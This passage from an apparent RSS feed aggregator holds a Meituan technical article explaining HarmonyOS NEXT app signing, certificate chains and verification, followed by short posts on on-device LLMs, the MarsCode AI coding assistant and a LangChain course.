zj0EAwMDZwAwZAIwMypeB7P0IbY7c6gpWcClhRznOJFj8uavrNu2PIoz9KIqr3jn
BlBHJs0myI7ntYpEAjBbm8eDMZY5zq5iMZUC6H7UzYSix4Uy1YlsLVV738PtKP9h
FTjgDHctXJlC5L7+ZDY=
-----END CERTIFICATE-----

subject=C = CN, O = Huawei, OU = HOS AppGallery, CN = HOS Profile Management
issuer=C = CN, O = Huawei, OU = Huawei CBG, CN = Huawei CBG Software Signing Service CA
-----BEGIN CERTIFICATE-----
MIIC7TCCAnOgAwIBAgIIV5nKqt2oGmwwCgYIKoZIzj0EAwMwZDELMAkGA1UEBhMC
Q04xDzANBgNVBAoMBkh1YXdlaTETMBEGA1UECwwKSHVhd2VpIENCRzEvMC0GA1UE
AwwmSHVhd2VpIENCRyBTb2Z0d2FyZSBTaWduaW5nIFNlcnZpY2UgQ0EwHhcNMjMw
NDI0MDYyNjMxWhcNMjgwNDI0MDYyNjMxWjBYMQswCQYDVQQGDAJDTjEPMA0GA1UE
CgwGSHVhd2VpMRcwFQYDVQQLDA5IT1MgQXBwR2FsbGVyeTEfMB0GA1UEAwwWSE9T
IFByb2ZpbGUgTWFuYWdlbWVudDBZMBMGByqGSM49AgEGCCqGSM49AwEHA0IABDdY
3RoPqb6WD8UpXJiavZLN48iamektKUKZHFl9xwr1Siu77z3lI86cREa3Flw50uKc
xkMNKM4FWBRMd3CDhI+jggEZMIIBFTAfBgNVHSMEGDAWgBT69fe+IFZdXdTabfEU
FTwdCduyNDAdBgNVHQ4EFgQU0a99kztpYeCetotz0YIduJ2I2VcwRgYDVR0gBD8w
PTA7BgRVHSAAMDMwMQYIKwYBBQUHAgEWJWh0dHA6Ly9wa2kuY29uc3VtZXIuaHVh
d2VpLmNvbS9jYS9jcHMwDgYDVR0PAQH/BAQDAgeAMEwGA1UdHwRFMEMwQaA/oD2G
O2h0dHA6Ly9wa2kuY29uc3VtZXIuaHVhd2VpLmNvbS9jYS9jcmwvc29mdF9zaWdu
X3Nydl9jcmwuY3JsMBMGA1UdJQQMMAoGCCsGAQUFBwMDMBgGDCsGAQQBj1sCgngB
AwQIMAYCAQEKAQEwCgYIKoZIzj0EAwMDaAAwZQIwRYOlQ6Qq2SF8LHQ78xpNYh47
zMemerx5oG4F6Uq/3ARPfowvdrEu5Ss+njPMG0FFAjEA0s7YhO7Ktm60mkuHuxQS
46fqIHh/PAPJ2ozg1yDSD771bAGn7mDeGjaAFXEtKzU5
-----END CERTIFICATE-----

subject=C = CN, O = Huawei, OU = Huawei CBG, CN = Huawei CBG Software Signing Service CA
issuer=C = CN, O = Huawei, OU = Huawei CBG, CN = Huawei CBG Root CA G2
-----BEGIN CERTIFICATE-----
MIIDADCCAoegAwIBAgIIJGDixWQS3MkwCgYIKoZIzj0EAwMwUzELMAkGA1UEBhMC
Q04xDzANBgNVBAoMBkh1YXdlaTETMBEGA1UECwwKSHVhd2VpIENCRzEeMBwGA1UE
AwwVSHVhd2VpIENCRyBSb290IENBIEcyMB4XDTIwMDMxNjEyMzIzOVoXDTQwMDMx
NjEyMzIzOVowZDELMAkGA1UEBhMCQ04xDzANBgNVBAoMBkh1YXdlaTETMBEGA1UE
CwwKSHVhd2VpIENCRzEvMC0GA1UEAwwmSHVhd2VpIENCRyBTb2Z0d2FyZSBTaWdu
aW5nIFNlcnZpY2UgQ0EwdjAQBgcqhkjOPQIBBgUrgQQAIgNiAASsEz7cwYkzFh9b
xIwKfXx5qHGjl5WITy0teGnNWqv+jYCceeixHqErvK7YRn2hVPIqhRqKWeANHZUK
G0qxi+NIpmSmQS8/63CLz1QAcxfv2Xl3/V82dF0v9lm16ehMsN+jggEVMIIBETAf
BgNVHSMEGDAWgBSjjlr1WrxxjCpqJXJ+SJLiktwgADAdBgNVHQ4EFgQU+vX3viBW
XV3U2m3xFBU8HQnbsjQwDwYDVR0TAQH/BAUwAwEB/zBGBgNVHSAEPzA9MDsGBFUd
IAAwMzAxBggrBgEFBQcCARYlaHR0cDovL2Nwa2ktY2F3ZWIuaHVhd2VpLmNvbS9j
cGtpL2NwczAOBgNVHQ8BAf8EBAMCAQYwZgYDVR0fBF8wXTBboFmgV4ZVaHR0cDov
L2Nwa2ktY2F3ZWIuaHVhd2VpLmNvbS9jcGtpL3NlcnZsZXQvY3JsRmlsZURvd24u
Y3JsP2NlcnR5cGU9MTAmL3Jvb3RfZzJfY3JsLmNybDAKBggqhkjOPQQDAwNnADBk
AjBrAQQxUlNgqhYkcEm5eksnPxDkPJSY/qNd2BDgbvEydiLwPSvB7Z9lipxz8ikZ
EeUCMGppWcaV//SIG1y5tEwthLwWeEaF613vUILWQLir8+CA3RZGsRBqtE8xSqfz
yafLYQ==
-----END CERTIFICATE-----

这里依然是完整的三级证书链,注意,根证书和之前申请到的开发者签名证书的根证书一样,但中间证书和叶子证书均不一样,比较如下(红色底色表示内容相同):

2.3 生成签名的App

⑥ 得到签名的App包

将生成的Profile文件、叶子证书文件等配置到项目的signingConfigs里,使用华为的IDE可以直接得到签名后的App包:

或者参考命令手动给未签名的App包进行签名。

得到的签名的App包只是用于提供给华为商店进行审核和后续的拆包,并不能直接安装到手机上运行。App包实际上就是标准的ZIP格式,可以修改后缀为.zip进行解压:

可以看到里面包括了.hap包和描述App一些信息的pack.info文件。

那么对App包进行签名的内容以及Profile文件在哪里呢?根据对源码里VerifyHap.java类的verifyHap函数进行分析,发现鸿蒙上的签名机制类似Android V3,签名信息和Profile文件存储在自定义的HapSigningBlock区,放到了ZIP格式Central Directory区的前面,其结构如下:

HapSigningBlock区的魔数(转成string也就是):

    /**
     * The value of lower 8 bytes of magic word
     */
    public static final long HAP_SIG_BLOCK_MAGIC_LO_V3 = 0x676973207061683cL;

    /**
     * The value of higher 8 bytes of magic word
     */
    public static final long HAP_SIG_BLOCK_MAGIC_HI_V3 = 0x3e6b636f6c62206eL;

    /**
     * Size of hap signature block header
     */
    public static final int HAP_SIG_BLOCK_HEADER_SIZE = 32;

通过hex工具直接打开App包也可以在Central Directory区前面找到:

其中SignatureSchemeBlock区存放了CMS格式的Hap包签名信息,而Profile文件就存储在SigningBlock区,Type是0x20000002:

    /**
     * ID of profile block
     */
    public static final int HAP_PROFILE_BLOCK_ID = 0x20000002;

通过如下hap-sign-tool.jar的命令可以导出存储在App包或Hap包里的签名证书和Profile文件:

java -jar hap-sign-tool.jar verify-app -inFile my-signed.app -outCertChain my-signed.cer -outProfile my-signed.p7b

⑦ 签名校验、拆包、重签名

提供给华为应用市场审核的App包在经过签名校验,确认是开发者的应用以及应用的完整性以后,华为会取出App包SigningBlock区的Profile文件,解压出Hap包,把Profile文件或Profile文件内的配置(下一章节展开描述区别)重新放到Hap包的SigningBlock区里,并用Hap的签名叶子证书对Hap包进行重新签名,签名方式和给App包签名一样。最终真正通过应用市场下发到手机上的是经过重签名的Hap包(类似iOS的双层签名机制)。解析出签名证书如下:

CN=HOS AppGallery Application Release, OU=HOS AppGallery, O=Huawei, C=CN
-----BEGIN CERTIFICATE-----
MIIC+TCCAn+gAwIBAgIIWXsBFAJOQzIwCgYIKoZIzj0EAwMwZDELMAkGA1UEBhMC
Q04xDzANBgNVBAoMBkh1YXdlaTETMBEGA1UECwwKSHVhd2VpIENCRzEvMC0GA1UE
AwwmSHVhd2VpIENCRyBTb2Z0d2FyZSBTaWduaW5nIFNlcnZpY2UgQ0EwHhcNMjMw
NDI0MDYyMjA1WhcNMjgwNDI0MDYyMjA1WjBkMQswCQYDVQQGDAJDTjEPMA0GA1UE
CgwGSHVhd2VpMRcwFQYDVQQLDA5IT1MgQXBwR2FsbGVyeTErMCkGA1UEAwwiSE9T
IEFwcEdhbGxlcnkgQXBwbGljYXRpb24gUmVsZWFzZTBZMBMGByqGSM49AgEGCCqG
SM49AwEHA0IABIokjn9tVRpgEC6b1AR9chiiejUGBiF83Lzm1giyZX9XKVzTPkHq
RRuML+zhRtT1JESEMOUggPyJbe9+rt3k9CijggEZMIIBFTAfBgNVHSMEGDAWgBT6
9fe+IFZdXdTabfEUFTwdCduyNDAdBgNVHQ4EFgQUFzRtDLYZ7zX/idRsHYmJZ734
vwgwRgYDVR0gBD8wPTA7BgRVHSAAMDMwMQYIKwYBBQUHAgEWJWh0dHA6Ly9wa2ku
Y29uc3VtZXIuaHVhd2VpLmNvbS9jYS9jcHMwDgYDVR0PAQH/BAQDAgeAMEwGA1Ud
HwRFMEMwQaA/oD2GO2h0dHA6Ly9wa2kuY29uc3VtZXIuaHVhd2VpLmNvbS9jYS9j
cmwvc29mdF9zaWduX3Nydl9jcmwuY3JsMBMGA1UdJQQMMAoGCCsGAQUFBwMDMBgG
DCsGAQQBj1sCgngBAwQIMAYCAQEKAQAwCgYIKoZIzj0EAwMDaAAwZQIxAJofyGQW
4ZVDW64qTeiVQVn5w7iRhejP6YFqYX9h/5mNXKMQ8ZuQCFT7EaqhVblWlQIwWIPB
xC+YhPz6JmDMSZDynZINnXi0T3k9UvbcCybbd2k2PWHYvYqQdKAuYGcNc2Ho
-----END CERTIFICATE-----
CN=Huawei CBG Software Signing Service CA, OU=Huawei CBG, O=Huawei, C=CN
-----BEGIN CERTIFICATE-----
MIIDADCCAoegAwIBAgIIJGDixWQS3MkwCgYIKoZIzj0EAwMwUzELMAkGA1UEBhMC
Q04xDzANBgNVBAoMBkh1YXdlaTETMBEGA1UECwwKSHVhd2VpIENCRzEeMBwGA1UE
AwwVSHVhd2VpIENCRyBSb290IENBIEcyMB4XDTIwMDMxNjEyMzIzOVoXDTQwMDMx
NjEyMzIzOVowZDELMAkGA1UEBhMCQ04xDzANBgNVBAoMBkh1YXdlaTETMBEGA1UE
CwwKSHVhd2VpIENCRzEvMC0GA1UEAwwmSHVhd2VpIENCRyBTb2Z0d2FyZSBTaWdu
aW5nIFNlcnZpY2UgQ0EwdjAQBgcqhkjOPQIBBgUrgQQAIgNiAASsEz7cwYkzFh9b
xIwKfXx5qHGjl5WITy0teGnNWqv+jYCceeixHqErvK7YRn2hVPIqhRqKWeANHZUK
G0qxi+NIpmSmQS8/63CLz1QAcxfv2Xl3/V82dF0v9lm16ehMsN+jggEVMIIBETAf
BgNVHSMEGDAWgBSjjlr1WrxxjCpqJXJ+SJLiktwgADAdBgNVHQ4EFgQU+vX3viBW
XV3U2m3xFBU8HQnbsjQwDwYDVR0TAQH/BAUwAwEB/zBGBgNVHSAEPzA9MDsGBFUd
IAAwMzAxBggrBgEFBQcCARYlaHR0cDovL2Nwa2ktY2F3ZWIuaHVhd2VpLmNvbS9j
cGtpL2NwczAOBgNVHQ8BAf8EBAMCAQYwZgYDVR0fBF8wXTBboFmgV4ZVaHR0cDov
L2Nwa2ktY2F3ZWIuaHVhd2VpLmNvbS9jcGtpL3NlcnZsZXQvY3JsRmlsZURvd24u
Y3JsP2NlcnR5cGU9MTAmL3Jvb3RfZzJfY3JsLmNybDAKBggqhkjOPQQDAwNnADBk
AjBrAQQxUlNgqhYkcEm5eksnPxDkPJSY/qNd2BDgbvEydiLwPSvB7Z9lipxz8ikZ
EeUCMGppWcaV//SIG1y5tEwthLwWeEaF613vUILWQLir8+CA3RZGsRBqtE8xSqfz
yafLYQ==
-----END CERTIFICATE-----

注意这里给Hap的签名证书和我们之前申请的开发者签名证书不一样,Hap签名证书和对应的私钥都是华为的,跟我们的应用没有关系,而且签名证书链里不包含根证书的信息。

这里再和之前的证书对比一下(红色和黄色底色表示内容分别相同):

三者的根证书都一样,Profile签名证书和Hap签名证书的中间证书一样,三者的叶子证书均不一样。

另外,如果在上架应用市场的时候,勾选了加密:

根据《鸿蒙生态应用安全技术白皮书》描述,只是对Hap包里的代码做加密,然后重新签名,所以证书和Profile文件的解析均不受影响。

3. 校验机制

签名相关的代码在security_appverify仓库里,签名校验流程梳理如下(图上所有判断条件在失败情况下均会导致签名校验失败,为了直观不画出此流程):

签名校验步骤可以分成三组,分别是:

  1. SignatureSchemeBlock区校验。
  2. Profile校验和解析。
  3. Hap包完整性校验。

3.1 SignatureSchemeBlock区校验

校验Hap包时首先在ZIP的Central Directory区前32个字节寻找是否有HapSigningBlock区的Header,找到以后定位到SignatureSchemeBlock区,解析其CMS格式,并校验SignatureSchemeBlock区证书链的完整性。证书链完整性校验流程如下:

校验叶子证书时,需要按证书指定算法重新计算证书的hash,并使用上一级证书(中间证书)的公钥对叶子证书里的证书签名进行解密,与重新计算的hash比对是否相同,相同则认为证书可信。中间证书继续通过根证书的公钥校验自己的证书签名。根证书用自己的公钥校验自己。

上一章说到,SignatureSchemeBlock区的证书链不包括根证书,所以这一步需要使用到根证书其实是内置在鸿蒙系统里的,存放地址是:

/system/etc/security/trusted_root_ca.json

具体内容如下:

{
    "C=CN, O=Huawei, OU=Huawei CBG, CN=Huawei CBG Root CA G2":"-----BEGIN CERTIFICATE-----\nMIICGjCCAaGgAwIBAgIIShhpn519jNAwCgYIKoZIzj0EAwMwUzELMAkGA1UEBhMC\nQ04xDzANBgNVBAoMBkh1YXdlaTETMBEGA1UECwwKSHVhd2VpIENCRzEeMBwGA1UE\nAwwVSHVhd2VpIENCRyBSb290IENBIEcyMB4XDTIwMDMxNjAzMDQzOVoXDTQ5MDMx\nNjAzMDQzOVowUzELMAkGA1UEBhMCQ04xDzANBgNVBAoMBkh1YXdlaTETMBEGA1UE\nCwwKSHVhd2VpIENCRzEeMBwGA1UEAwwVSHVhd2VpIENCRyBSb290IENBIEcyMHYw\nEAYHKoZIzj0CAQYFK4EEACIDYgAEWidkGnDSOw3/HE2y2GHl+fpWBIa5S+IlnNrs\nGUvwC1I2QWvtqCHWmwFlFK95zKXiM8s9yV3VVXh7ivN8ZJO3SC5N1TCrvB2lpHMB\nwcz4DA0kgHCMm/wDec6kOHx1xvCRo0IwQDAOBgNVHQ8BAf8EBAMCAQYwDwYDVR0T\nAQH/BAUwAwEB/zAdBgNVHQ4EFgQUo45a9Vq8cYwqaiVyfkiS4pLcIAAwCgYIKoZI\nzj0EAwMDZwAwZAIwMypeB7P0IbY7c6gpWcClhRznOJFj8uavrNu2PIoz9KIqr3jn\nBlBHJs0myI7ntYpEAjBbm8eDMZY5zq5iMZUC6H7UzYSix4Uy1YlsLVV738PtKP9h\nFTjgDHctXJlC5L7+ZDY=\n-----END CERTIFICATE-----\n"
}

可以看到这个根证书就是上一章解析出来的根证书,所以这里可以校验通过。

在确认证书链可信以后,根据叶子证书的Subject判断Hap包的安装来源,具体代码在trusted_source_manager.cpp的MatchTrustedSource函数里,也就是和内置的Hap签名证书列表进行比较,看匹配到哪一个。内置的Hap签名证书列表存放地址是:

/system/etc/security/trusted_apps_sources.json

具体内容如下:

{
    "version": "1.0.1",
    "release-time":"2021-06-03 10:06:00",
    "trust-app-source":[
        {
            "name":"huawei app gallery",
            "app-signing-cert":"C=CN, O=Huawei, OU=HOS AppGallery, CN=HOS AppGallery Application Release",
            "profile-signing-certificate":"C=CN, O=Huawei, OU=HOS AppGallery, CN=HOS Profile Management",
            "profile-debug-signing-certificate":"C=CN, O=Huawei, OU=HOS AppGallery, CN=HOS Profile Management Debug",
            "issuer-ca":"C=CN, O=Huawei, OU=Huawei CBG, CN=Huawei CBG Software Signing Service CA",
            "root-ca": "C=CN, O=Huawei, OU=Huawei CBG, CN=Huawei CBG Root CA G2",
            "max-certs-path":3,
            "critialcal-cert-extension":["keyusage","huawei-signing-capability"]
        },
        {
            "name":"huawei system apps",
            "app-signing-cert":"C=CN, O=Huawei CBG, OU=HOS Development Team, CN=HOS Application Provision Release",
            "profile-signing-certificate":"C=CN, O=Huawei CBG, OU=HOS Development Team, CN=HOS Application Provision Profile Release",
            "profile-debug-signing-certificate":"C=CN, O=Huawei CBG, OU=HOS Development Team, CN=HOS Application Provision Profile Release_Debug",
            "issuer-ca":"C=CN, O=Huawei, OU=Huawei CBG, CN=Huawei CBG Software Signing Service CA",
            "root-ca": "C=CN, O=Huawei, OU=Huawei CBG, CN=Huawei CBG Root CA G2",
            "max-certs-path":3,
            "critialcal-cert-extension":["keyusage","huawei-signing-capability"]
        },
        {
            "name":"third_party app preload",
            "app-signing-cert":"C=CN, O=Huawei, OU=HOS Open Platform, CN=HOS Preload Service",
            "profile-signing-certificate":"",
            "profile-debug-signing-certificate":"",
            "issuer-ca":"C=CN, O=Huawei, OU=Huawei CBG, CN=Huawei CBG Software Signing Service CA",
            "root-ca": "C=CN, O=Huawei, OU=Huawei CBG, CN=Huawei CBG Root CA G2",
            "max-certs-path":3,
            "critialcal-cert-extension":["keyusage","huawei-signing-capability"]
        }
   ]
}

这里有Huawei App Gallery(应用市场)、Huawei System Apps(系统应用)、Third_party App Preload(三方预装)三组。每一组包括对应的Hap签名证书Subject、Profile签名证书Subject等信息。

我们走应用市场分发的Hap包会匹配到Huawei App Gallery这个证书。

3.2 Profile解析和校验

接下来在SigningBlock区寻找Profile,这里注意到不同Hap包签名方式会影响Profile的存储格式。对于走应用市场分发的Hap包,Profile是直接把其配置以字符串的格式保存,而对于其他情况,则是用CMS的格式保存。那么应用市场分发的Hap包也就不需要Profile的文件签名校验了。

对于其他情况,首先会使用Profile里保存的叶子证书公钥校验Profile的文件签名,然后会校验叶子证书Subject是否和匹配的同组内Profile签名证书Subject相同。

校验通过后解析Profile里的配置信息,根据type不同走不同的校验逻辑:

都校验通过后,再继续看Profile文件签名证书和Hap的签名正式是否相同,并继续对Profile配置的字段规则合法性进行检测。走完这一步,就可以认为Profile是可信的。

随后会生成App ID(公钥)和Fingerprint两个新的字段和验证结果一并返回。其中APP ID(公钥)是根据Profile配置里开发者签名证书公钥生成的(详见GenerateAppId函数),fingerprint是根据Profile配置里开发者签名证书直接计算整个证书的指纹(注意不是上一章的公钥指纹,详见GenerateFingerprint函数)。至此完成Profile的解析和校验。

另外,在鸿蒙SignatureInfo API中,会返回三个参数:

其中API返回的appId为了消除歧义,这里称为APP ID(接口)。

根据包管理子系统bundle_install_checker.cpp的ParseHapFiles函数inner_bundle_info.h的SetProvisionId函数这个PR来看:

// bundle_install_checker.cpp
    newInfo.SetProvisionId(provisionInfo.appId);

// inner_bundle_info.h
    void SetProvisionId(const std::string &provisionId)
    {
        baseBundleInfo_->appId = baseBundleInfo_->name + Constants::FILE_UNDERLINE + provisionId;
    }

APP ID(接口)的值实际上是APP ID(公钥)加上了{bundleName}_的前缀。

3.3 Hap包完整性校验

这一步的过程和Hap包签名类似,将ZIP包中数据和HapSigningBlock区里非SignatureSchemeBlock的部分拼接,重新计算hash,与使用Hap签名叶子证书公钥解密SignatureSchemeBlock区签名后的hash比较,相同则认为Hap包未被篡改。具体可以参考hap_signing_block_utils.cpp的VerifyHapIntegrity函数,这里就不展开了。

总结

从鸿蒙单框架应用的签名和校验机制的种种细节中可以看出,HarmonyOS NEXT的安全设计非常务实,融合了Anroid和iOS双端的特性,有借鉴Android成熟的部分(签名格式),但更多的是参考了iOS的设计思路(双层签名机制),甚至更加严格。期待HarmonyOS NEXT给我们带来一个新的未来。

在这里,特别感谢华为同学对本文的大力支持。

阅读更多

| 关注「美团技术团队」微信公众号,在公众号菜单栏对话框回复【2023年货】、【2022年货】、【2021年货】、【2020年货】、【2019年货】、【2018年货】、【2017年货】等关键词,可查看美团技术团队历年技术文章合集。

| 本文系美团技术团队出品,著作权归属美团。欢迎出于分享和交流等非商业目的转载或使用本文内容,敬请注明“内容转载自美团技术团队”。本文未经许可,不得进行商业性转载或者使用。任何商用行为,请发送邮件至tech@meituan.com申请授权。

by 美团技术团队 at January 06, 2025 08:16 AM

December 27, 2024

hellogithub

HelloGitHub 第 105 期

b'\xe6\x9c\xac\xe6\x9c\x9f\xe5\x85\xb1\xe6\x9c\x89 40 \xe4\xb8\xaa\xe9\xa1\xb9\xe7\x9b\xae\xef\xbc\x8c\xe5\x8c\x85\xe5\x90\xab C \xe9\xa1\xb9\xe7\x9b\xae (2)\xef\xbc\x8cC# \xe9\xa1\xb9\xe7\x9b\xae (2)\xef\xbc\x8cC++ \xe9\xa1\xb9\xe7\x9b\xae (2)\xef\xbc\x8cCSS \xe9\xa1\xb9\xe7\x9b\xae (1)\xef\xbc\x8cGo \xe9\xa1\xb9\xe7\x9b\xae (5)\xef\xbc\x8cJava \xe9\xa1\xb9\xe7\x9b\xae (3)\xef\xbc\x8cJavaScript \xe9\xa1\xb9\xe7\x9b\xae (5)\xef\xbc\x8cKotlin \xe9\xa1\xb9\xe7\x9b\xae (1)\xef\xbc\x8cPython \xe9\xa1\xb9\xe7\x9b\xae (5)\xef\xbc\x8cRust \xe9\xa1\xb9\xe7\x9b\xae (2)\xef\xbc\x8cSwift \xe9\xa1\xb9\xe7\x9b\xae (2)\xef\xbc\x8c\xe4\xba\xba\xe5\xb7\xa5\xe6\x99\xba\xe8\x83\xbd (5)\xef\xbc\x8c\xe5\x85\xb6\xe5\xae\x83 (5)'

December 27, 2024 12:03 AM

December 08, 2024

bang

客户端大模型进展怎样了?

近期苹果发布的新品,无论是 iPhone 还是 Mac,都一改之前挤牙膏的风格,在最低配机器上都加大了内存,目的很明确,就是支撑 iPhone 和 Mac 上的端 AI 大模型。过去一年,AI手机、AI电脑的概念也一度在炒,在之前写的文章也说过,在客户端上跑大模型,一定是未来趋势。那目前端上大模型情况怎样?

应用近况

总的来说,各家陆续出了不少小模型,相关工具链也能支持它们在客户端上跑起来,但可用的应用几乎没见到。

不少手机厂商都号称接入了端模型,但实际上没搜到相关具体应用,Apple Intelligence 还在路上,演示的能力似乎大多是云端模型,不确定本地小模型能做的事。Google Pixel 8 也没有接入Gemini nano,小米14上没有MiLM,小爱完全靠云端模型,OPPO find7 号称端侧模型用于生成通话摘要等一系列能力,但似乎得联网,不确定端模型在上面起到的作用有多大,真正能离线用的也只有图片消除功能。

为什么雷声大雨点小?

  1. 完全体 LLM 近一年的应用场景也有限,端上也就更少了,当前阶段业界精力还是主要投入在研发最好的模型上,很难顾得上端的优化。
  2. 现在的硬件和模型优化程度还不允许 LLM 在端上有作为。端设备基本都对体积和功耗敏感,这两者都限制了硬件能提供的最大性能,7B的模型硬件支持不好,3B的效果不好。

我在 Macbook pro M1 上试跑了下,感受是:3B级别的小模型基本不可用,7B/8B级别的模型速度太慢,资源占用也太大:

  1. llama3.2 3B模型,大小2G,推理速度 62 token/s,翻译/总结/简单的指令理解,都有很大偏差,基本不可用。3B 这个级别或更小的模型,目前看起来需要针对特定任务做微调才能有作用,通用能力不太行。
  2. llama 3.1 8B模型,大小15G,推理速度约 8 token/s,基本问答/翻译/总结可用,但速度太慢,资源要求太高。(这篇文章估算了推理速度,与实测差不多)

LLM 端推理引擎

客户端 LLM 应用还没到时候,但不妨碍大家对这个方向的投入热情,相关的工具链有比较大的进展。

这块工具链的核心是推理引擎,LLM 的训练和推理一般都用 PyTorch,它在GPU适配/加速/生态上都是最好的,但在客户端跑模型,有一些其他诉求:

  1. 在 CPU 上推理的能力,以及能适配多种 GPU 加速
  2. 量化技术,需要更小的模型、更低的资源消耗
  3. 可以轻量编译部署到多种客户端环境

所以需要另一种推理引擎,目前用得最多的是 llama.cpp。

llama.cpp 是 C++ 开发的 LLM 推理引擎,最开始只用于 meta 的 Llama 模型推理,后来扩展到更多模型,包括 Mistral / Gemma / Phi / QWen 等基本所有开源的 LLM,也包括基于 LLM 的多模态模型 llava。llama.cpp 是个人开源项目,基于同个作者的 ggml,在它基础上加了相关大模型推理的功能,token 化 / 缓存管理等。

llama.cpp 可以跑在基本所有主流操作系统上,Android、iOS、Linux、Windows、macOS,甚至 WebAssembly上也提供支持,支持各种 GPU / CPU / NPU 推理。

基于 llama.cpp,上层包装了很多应用,可以方便地在桌面端和移动端跑各种 LLM 模型,桌面端上使用最多的是 ollama,近期 LMStudio 也很不错,移动端上可以用 pocketPal

ollama 基于 llama.cpp,提供本地模型服务

上述这些都是包装了模型下载管理和聊天的壳,目前比较少见到基于 llama.cpp 包装更上层垂类场景的应用。有些些 Mac AI 应用会同时提供线上 GPT 接口以及本地 ollama 接口,LLM 处理可以在本地进行,例如做音频视频转文字和总结的 MemoAI,这也可能是后续 Mac/PC 本地 AI 应用的标配。

除了llama.cpp,还有类似的mlc-llm,也是全平台和多种 GPU 支持。还有专为苹果芯片优化的LM Studio MLX,不多介绍了。

LLM 以外

在实际应用中,端 LLM 还没能用起来,但一些厂商为了推 AI 手机 / AI 设备的概念,经常会包装进一些其他的 AI 能力,比如图片消除能力、语音唤醒识别能力。目前端 AI 真正能在实际场景中应用得好的,也还是这些多媒体图片/语音处理类的小模型,跟 LLM 无关。

常见的图片处理比如 杂物擦除、图片超清、背景去除等,都有很多小模型,转换为 ONNX 或其他推理引擎支持的格式就可以在端上跑。

ONNX 是一种标准开放的模型格式,PyTorch / TensorFlow 等各大深度学习框架训练的模型都可以转为 ONNX 格式,然后用统一的 ONNX Runtime 推理引擎部署在多种硬件和操作系统上,目前大多数端上推理引擎也都支持 ONNX 格式做推理,腾讯的 ncnn/TNN,阿里的MNN,小米的 mace 等都支持 ONNX 格式。

各种模型格式转为 ONNX,跑在各式各样的设备上

理论上只要模型不大,对硬件运算要求没有特别高,转化为 ONNX 格式后在端上都能很好地使用,很多特定的多媒体能力很符合这个条件,例如杂物擦除MI-GAN,只有590万个参数,直接跑在浏览器上 / APP 上都没问题,效果也不差。还有其他很多基于 GAN 的模型,图片超清Real-ESRGAN,老照片修复 GFPGAN 等,运算要求都不高,跑在端上没什么问题。IOPaint 这个项目可以看到比较多类似的模型。

IOPaint 本地运行各类图片编辑模型

如果不考虑多平台部署,把模型转为平台自带推理引擎支持的格式,是能更大程度优化性能的,例如可以将模型转为 CoreML 格式跑在 iOS/Mac 上,但相对比较少,大家更倾向于跨平台的方案。iOS 上比较有名的端生图 APP DrawThings 就是将 Stable Diffusion 转为 CoreML 格式并量化后跑在端上。也有把 SD 转为 ONNX 格式去端上跑的,但还没看到比较好的应用。

一些遐想

端模型的应用,从硬件上分两种:

AI 硬件

  1. 有些场景可以不受设备大小限制、甚至续航功率限制,可以做得比较大,车机系统是一种,这是最好最大的应用场景,端上大模型 AI 应用会最先产生在这个领域,FSD也可以认为是端 AI 的一种。
  2. 还有一些可能得 AI 教育硬件,陪伴的玩偶等,本身也足够塞个大运算量芯片和大电池。一些刚需的硬件,比如导盲眼镜,也可以是连着口袋里一个不小的计算设备,这些算是后续可能的端上大模型的应用场景。
  3. 但除了车载系统以外,其他 AI 硬件要采用这种方式,发展会比较难。技术体验是一回事,还有商业模式的问题。
  4. 这些设备是自带硬件端上跑,还是云端跑,其实就是买断制和订阅制的区别。在端上跑需要用户一次性付出较高的硬件成本,但后续没有其他额外的成本。云端跑初期用户付出的硬件成本低,甚至厂家也愿意赔钱卖机器,但后期是可以用订阅服务制长期收费。从这角度看,用户和商家基本都会选择订阅制,对双方都更友好。所以端大模型要在 AI 硬件上流行起来,还比较难,除非是有些场景对隐私和实时性要求就是很高。

手机电脑

另一种就是利用已有设备,不需要用户额外花钱买硬件,那就还是回到设备大小、续航功耗、发热、机型覆盖等限制,有些场景为了省成本可以先用起来,PC / Mac 陆续可以有一些应用场景,例如上面提到的连接 ollama 的 MemoAI,浏览器上的 AI 搜索也非常适合端上 LLM 去做,但可能这几年会一直处于小场景尝试的阶段,要到主流的程度还早得很,也可能一直不会是主流,手机更是了。

by bang at December 08, 2024 09:45 AM

November 29, 2024

juejin article

豆包MarsCode使用体验!! | 豆包MarsCode AI刷题

前言

第一次使用aI工具进行编程,还是在2023年10月份,使用的是github的编程github copilot 的AI工具,当时这个工具给我自己一些很大的震撼。
以前的编程多半是自己根据一些文档编程或者是参考csdn或者掘金这类社区的教程进行编程,或者是23年的年初chatgpt这类工具的出现,也就是把一些文本或者代码需求放到chatgpt中,然后gpt给你返回答案,再复制到编辑器或者IDE中。这样使用的时候,AI工具既不能知道代码的文件目录是什么,也不知道你这个文件中的代码和别的文件的关联性是什么,更不可能在一边写代码的时候一边提示你下一步可能是什么。而copilot的出现可以完美解决上述的任务和需求。但是有一点,如果不是学生或者有钱的人,一个月需要支付10刀来支付这个费用。哪怕你是学生,进行学生认证也会受限于魔法问题,导致地址什么类的过不了,当时我就想要是国内可以出现这样的一款ai工具就好了。

体验

进了青训营后,第一次接触到了豆包这个ai工具,同时可以内嵌到IDE中进行辅助编程,功能和copilot类似,并且是国内免费开源的,这就比copilot更加的方便!同时这次豆包辅助coding刷题是我万万没有想到的功能,我没有想到ai可以应用到日常的算法刷题的过程中,下面我来分享几点本次使用体验。

  • 首先就是,拿到一个题目的时候,豆包可以给你三个主要选项,一个是给你提供思路支持,一个是给你提供代码模板,一个是给你提供题目优化思路。作为一个内嵌的工具非常的优秀,可以直接把你ai工具直接分析算法题目,是非常厉害的,之前没有出现过这种类似的产品。
  • 在实际刷题过程中,这个豆包ai工具,可以在我分析出思路之后,可以让豆包分析第二次,我可以对比前后两次思路是否不同,是否可以存在优化,这对我自己思维的拓展更加重要可以让我对于题目理解的更加充分
  • 在我自己对于题目没有想好 用什么方法来书写的时候,或者是代码思路不明确,我可以让他给我提供一个思维框架模板,然后按照自己的理解填充模板,这对于我攻克一些高难度的题目可以起到一个非常好的引导作用。
  • 在完成代码书写后,可以点击优化选项,可以帮你 优化你的代码,可以让你代码水平很大提升

by 爱写代码的华强 at November 29, 2024 12:27 PM

LangChain学习第二节 | 豆包MarsCode AI刷题

我们跟随黄佳老师,一起学LangChain实战课!

我们要从头完成一个很实用、很有意义的实战项目。目的是直观感受一下LangChain作为一个基于大语言模型的应用开发框架,功能到底有多么强大。好的,现在就开始!

项目及实现框架

项目名称:“易速鲜花”内部员工知识库问答系统。

